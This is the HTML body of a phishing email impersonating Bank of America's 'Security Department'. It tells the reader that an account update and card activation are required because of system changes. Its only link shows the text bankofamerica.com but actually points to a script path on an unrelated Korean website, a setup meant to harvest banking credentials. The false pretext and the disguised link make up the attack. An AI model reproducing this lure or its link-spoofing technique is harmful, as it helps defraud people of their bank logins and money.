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<P><FONT face=Verdana size=2><IMG
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<P><FONT face=Verdana size=2>Dear Bank of America Customer,</FONT></P>
<P><FONT face=Verdana size=2>It has come to our attention that your account
needs to be updated due to the recent changes we have made to our Online Banking
system. This update will allow us to activate new features for your account on
our new system. We have made these changes to serve you better.</FONT></P>
<P><FONT face=Verdana size=2>With our 24 hour online financial center, you can
manage your online accounts, see images of the front and back of cleared checks
and deposit tickets, transfer funds between eligible Bank of America accounts,
order checks and much more.</FONT></P>
<P><FONT face=Verdana size=2>Online Banking is quick, easy and convenient
allowing you to bank whenever and wherever you want. Please click the link
below, this will take you to Bank of America Online Banking to complete your
update.</FONT></P>
<P><FONT face=Verdana size=2>It's important that you activate your card,
otherwise you will not be able to access our new Online Banking system and
features.</FONT></P>
<P><FONT face=Verdana size=2></FONT></P>
<P><FONT face=Verdana size=2><U><FONT color=#0000ff><A
href="http://www.changemedia.or.kr/bbs/data/free/%20/cgi.b/bankofamerica.cgi/login.cfm/page_msg=signon&showstatic=secure/">http://www.bankofamerica.com/index.cfm</A></FONT></U></P>
<P><FONT face=Verdana size=2>Sincerely,<BR>Bank of America<BR>Security
Department.</FONT></P></BODY></HTML>